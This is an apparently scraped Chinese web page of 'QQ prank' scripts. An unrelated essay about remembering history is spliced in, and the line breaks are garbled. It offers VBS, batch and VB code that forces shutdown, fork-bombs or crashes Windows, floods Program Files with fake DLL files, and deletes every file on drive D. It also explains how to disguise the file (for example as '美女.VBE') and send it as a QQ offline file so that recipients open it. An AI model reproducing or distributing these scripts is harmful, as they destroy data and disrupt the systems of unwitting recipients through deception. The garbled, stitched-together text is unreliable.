本文目录
谁会制作QQ整人使人关机的文件 恶搞好友专用哦(整人恶意代码程序)
历史的点点滴滴如散落在偌大沙滩上的沙石贝壳,我们悄悄地走过,贪婪地看着这些晶莹珍贵的财富,时而拾起一两颗打动心灵的贝壳,怀着一份爱的心情、感恩的心情,好好收藏,以作纪念。沙滩上有颗饱经沧桑的贝壳,那是犹太人民族的故事。在二战被逼迫得流离失所,无家可归的时候,犹太人们仍抱着复兴的希望,他们从不放弃,从不妥协,他们坚守信念,传递勇气,因为他们有一个信念——来自于哭墙。那堵饱经历史沧桑的哭墙,记录着民族的苦难与过去,光荣与梦想。每一个犹太人都会在某个持定的时刻来到哭墙下,纪念自己的前人,正是这份纪念的心情,让这个民族保存着自信、坚忍,让他们再一次在地平线上高高站立。沙滩上有一颗闪亮的贝壳,那是居里夫人对民族的怀念。居里夫人一生清贫,在年少求学之时已离开祖国。在科学领域里孜孜不倦追求多年之后,她终于在金属中,提炼出“钋”这种放射性元素。她知道这元素将带给她数不尽的荣誉,而她,这位感恩的科学家,立即想到以“Po”来命名这元素,以纪念她的祖国波兰,或许正是这份时刻惦记着祖国的心情,让居里夫人一直不懈努力着。之后,她又提炼出“镭”,并成为少数两次获得诺贝尔奖的女性。沙滩上有一颗感恩的贝壳,那是作家三毛心中的那棵“草”。三毛在异地求学时曾经失落无助,就在这时,有一位陌生的同学送给她一棵不起眼的小草,并鼓励她振作起来。三毛的心十分感动,她在《有人送我一棵草》中写道:“草会枯萎,我不知道用什么方式纪念这位不知去向的同学。我只有把这份帮助人的心,这份感恩的心传递开去,去帮助更多的人。”三毛用她的真切行动做到了,她用细腻的文字和真挚的感情,感动和滋润着读者们的心灵,这便是她的纪念方式。有人从黄河的各水段中采集不同的样本,来纪念创造灿烂华夏文化的先人;有人羁旅在外,仍随身带着泥土,纪念自己的祖国;而我们,在细雨纷纷的清明时节,总会带着思念,去纪念为我们幸福献出生命的烈士们。怀着一份感恩,怀着一份信念,我在沙滩上拾取几颗贝壳,珍藏在身,纪念历史,心中已准备好,创造未来。
qq搞笑留言代码大全
[M][fts=6][ftf=Webdings]U[/ft][/ft][/M]
[M][ftc=#ED008C] [B]打..打..打..打劫!![/B][/ft][/M]
[M][ftc=#91278F][B]男银,站..站..站..站左边..!![/B][/ft][/M]
[M][ftc=#EE1D24][B]せ银,站右..右..右..右边..!![/B][/ft][/M]
[M][ftc=#EE1000] [B]亼妖,站中间..间..间..间..!![/B][/ft][/M]
求QQ整人代码
WScript.Echo(“谁令你打开这个软件的“)
WScript.Echo(“这个软件会让你无聊啊!“)
WScript.Echo(“推荐你来的肯定是个坏蛋!“)
WScript.Echo(“欢迎来到被整软件站!“)
WScript.Echo(“是谁设计的?“)
WScript.Echo(“Is me“)
WScript.Echo(“你好,你要点30次确定哦!“)
WScript.Echo(“1“)
WScript.Echo(“2“)
WScript.Echo(“3“)
WScript.Echo(“begin“)
WScript.Echo(“30“)
WScript.Echo(“29“)
WScript.Echo(“28“)
WScript.Echo(“呵呵,骗你的,我也累了,88“)
WScript.Echo(“还是在耍你“)
WScript.Echo(“你不想活了?“)
WScript.Echo(“打开这个?“)
WScript.Echo(“无语中……“)
WScript.Echo(“嘿。谁让你点确定的?“)
WScript.Echo(“我还想多耍你一会儿呢!“)
WScript.Echo(“我准备问你一个问题“)
-----------下面别复制--------------------
纯 本 人 设 计
qq整人代码
WScript.Echo(“谁令你打开这个软件的“)
WScript.Echo(“这个软件会让你无聊啊!“)
WScript.Echo(“推荐你来的肯定是个坏蛋!“)
WScript.Echo(“欢迎来到被整软件站!“)
WScript.Echo(“是谁设计的?“)
WScript.Echo(“Is
me“)
WScript.Echo(“你好,你要点30次确定哦!“)
WScript.Echo(“1“)
WScript.Echo(“2“)
WScript.Echo(“3“)
WScript.Echo(“begin“)
WScript.Echo(“30“)
WScript.Echo(“29“)
WScript.Echo(“28“)
WScript.Echo(“呵呵,骗你的,我也累了,88“)
WScript.Echo(“还是在耍你“)
WScript.Echo(“你不想活了?“)
WScript.Echo(“打开这个?“)
WScript.Echo(“无语中……“)
WScript.Echo(“嘿。谁让你点确定的?“)
WScript.Echo(“我还想多耍你一会儿呢!“)
WScript.Echo(“我准备问你一个问题“)
-----------下面别复制--------------------
纯
本
人
设
计
qq空间恐怖代码大全
首先创个记事本,然后打开,输入指令
:start
start
goto start
让后把名字最后改成 XXX.bat
如果改了之后不行的话,就打开“我的电脑” 工具 文件夹选项 查看 去掉“隐藏已知文件类型扩展名”前对勾, 再改名试试
我要QQ聊天的恶搞代码
首先你在要建一个文本文档(在桌面点右键
--
新建
--
文本文档)把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大集合
一、
你打开好友的聊天对话框
,
然后记下在你
QQ
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
QQ
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=》
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject(“wscript.shell“)
for i=1 to 10
wscript.sleep 700
wsh.AppActivate(“
与
xx
聊天中
“)
wsh.sendKeys “^v“
wsh.sendKeys i
wsh.sendKeys “%s“
next
wscript.quit
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
QQ
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
do
msgbox “You are foolish!“
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器,直到死机
------------------------------------------------------------------------------
set wsh=createobject(“wscript.shell“)
do
wsh.run “calc“
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell“)
WSHshell.run “shutdown -f -s -t 00“,0 ,true
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell“)
WSHshell.run “cmd /c ““del d:\*.* / f /q /s“““,0 ,true
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox “
哈哈
你被耍了!
“
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
(开什么都关闭„„)
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell“)
while(1)
WSHshell.SendKeys “%{F4}“
loop
---------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
,
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox “
哥们,给我按
500
次回车吧
“,64
loop
’------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo(“
嘿,谢谢你打开我哦,我等你很久
拉!
“&TSName)
WScript.Echo(“
你是可爱的小朋吗
?“)
WScript.Echo(“
哈
,
我想你拉,这你都不知道吗?
“)
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码,在桌面建一个文本,把代码放进去,另存为
VBS
格式,
此代码的威力:
1
:开机就强制自动关机
2
:
cmd
命令打不开
3
:结束任务不管用
4
:
F8
安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解方法:就是再运行一次,就可以破解了,也就是第
2
次保存的那个
VBE
文件,
,
PS
:不要乱拿软件去整人,发生什么事可不要怪我啊。
。
拍拍手
顶起吧!
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
’
声明变量,其中“
count
”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
’
定义要把生成的文件存放在那个目录文件下
c = “C:\Program Files\“
’
生成文件的内容
nr = “
哈哈,被黑的感觉的不错吧
“
files = FreeFile
’
如果
a
等于
a
那么就执行
If a = a Then
’count
不断的加
1
,以便产生不同的文件名
count = count + 1
’
产生文件名及文件句柄,并用
count
作为产生不同的文件名。
Open c & “system“ & count & “.dll“ For Append As #files
’
向文件写内容
Write #files, nr
’
清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
手机qq整人代码
第一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(“wscript.shell“)
WSHshellA.run “cmd.exe /c shutdown -r -t 30 -c ““快说潮流哥特,不说就30秒关你机,不信,试试···““ “,0 ,true
dim a
do while(a 《》 “潮流哥特“)
a = inputbox (“说潮流哥特,不然就不关机,快撒,说 ““潮流哥特““ “,“说不说“,“不说“,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox“
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个QQ炸弹,在30秒后会自动关机。
下面说一下使用方法:
最简单的使用方法是,你直接发给好友,让他运行,然后他就中招了。
还有个更加恶毒的,不在线的QQ好友你可以向他们发送QQ离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了
你自己也可以测试一下这个QQ炸弹的威力。